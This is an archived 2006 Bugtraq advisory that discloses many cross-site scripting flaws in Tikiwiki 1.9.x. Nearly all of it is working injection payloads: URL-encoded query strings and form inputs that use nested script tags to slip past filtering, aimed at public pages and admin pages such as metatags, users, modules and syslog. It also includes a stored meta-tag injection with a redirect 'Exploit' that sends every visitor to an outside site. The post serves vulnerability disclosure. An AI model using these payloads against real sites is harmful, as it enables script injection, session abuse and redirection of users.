bugtraq - Multiple XSS Vulnerabilities in Tikiwiki 1.9.x

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060525164212.32315.qmail@securityfocus.com>
Date: 25 May 2006 16:42:12 -0000
From: blwood@...net.be
To: bugtraq@...urityfocus.com
Subject: Multiple XSS Vulnerabilities in Tikiwiki 1.9.x


Multiple XSS Vulnerabilities in Tikiwiki 1.9.x
 
Discovered by Blwood
http://www.blwood.net
 
 
 
 
** Public **
 
 
-------------
 
Tiki-lastchanges
 
http://www.site.com/tiki-lastchanges.php?days=3&offset=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E
 
http://www.site.com/tikiwiki-1.9.3.1/tiki-lastchanges.php?days=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&offset=0&sort_mode=user_desc
 
-------------

Tiki-orphan_pages.php
 
http://www.site.com/tikiwiki-1.9.3.1/tiki-orphan_pages.php?find=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&offset=&sort_mode=flag_desc
 
http://www.site.com/tikiwiki-1.9.3.1/tiki-orphan_pages.php?find=&offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&sort_mode=flag_desc
 
-------------
 
Tiki-listpages.php
 
http://www.site.com/tiki-listpages.php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&sort_mode=creator_desc
 
http://www.site.com/tiki-listpages.php?initial=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&sort_mode=pageName_asc
 
-------------
 
Tiki-remind_password.php

http://tikiwiki.org/tiki-remind_password.php

"><scr<script>ipt>alert('Blwood')</scr</script>ipt>
 
-------------
 
 
** Admin **
 
-------------
 
Tiki-admin_include_metatags.php
 
http://www.site.com/tiki-admin.php?page=metatags
 
"><sc<script>ript>alert('Blwood')</scr</script>ipt>
 
In all pages the source will be :
 
<meta name="keywords" content=""><script>alert('Blwood')</script>" />
 
The code will be executed in every pages !
 
Exploit :
 
"><sc<script>ript>document.location='http://www.blwood.net'</scr</script>ipt>
 
-------------
 
Tiki-admin_ressmodules.php
 
http://www.site.com/tiki-admin_rssmodules.php?offset=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E%3C!--&sort_mode=name_desc&rssId=1
 
-------------
 
Tiki-syslog.php
 
http://www.site.com/tiki-syslog.php?find=&max=10&offset=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E%3C!--&sort_mode=loguser_desc
 
http://www.site.com/tiki-syslog.php?find=&max=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E%3C!--&offset=0&sort_mode=logtype_desc
 
-------------
 
Tiki-adminusers.php
 
http://www.site.com/tiki-adminusers.php?find=&search=find&numrows=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E%3C!--&sort_mode=login_asc
 
In the Form :
 
"><scr<script>ipt>alert('Blwood')</scr</script>ipt>
 
-------------
 
Tiki-admin_hotwords.php
 
"><sc<script>ript>alert('Blwood')</scr</script>ipt>

-------------
 
Tiki-admin_modules.php
 
Assign new module
**********************
 
Parameters : "><sc<script>ript>alert('Blwood')</scr</script>ipt>
 

Create new user module
****************************
 
Name : "><sc<script>ript>alert('Blwood')</scr</script>ipt>
 
-------------
 
Tiki-admin_notifications.php
 
Add notification :
 
"><sc<script>ript>alert('Blwood')</scr</script>ipt>
 
http://www.site.com/tiki-admin_notifications.php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&sort_mode=object_desc
 
-------------
 
Tiki-admin_dsn.php
 
Name : "><sc<script>ript>alert('Blwood')</scr</script>ipt>
Dsn : "><sc<script>ript>alert('Blwood')</scr</script>ipt>
 
-------------
 
Tiki-admin_content_templates.php
 
http://www.site.com/tiki-admin_content_templates.php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&sort_mode=created_asc
 
Create new template :
 
name: "><sc<script>ript>alert('Blwood')</scr</script>ipt>
 
-------------
 
Tiki-admin_chat.php
 
http://www.site.com/tiki-admin_chat.php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&sort_mode=name_desc&channelId=1
 
-------------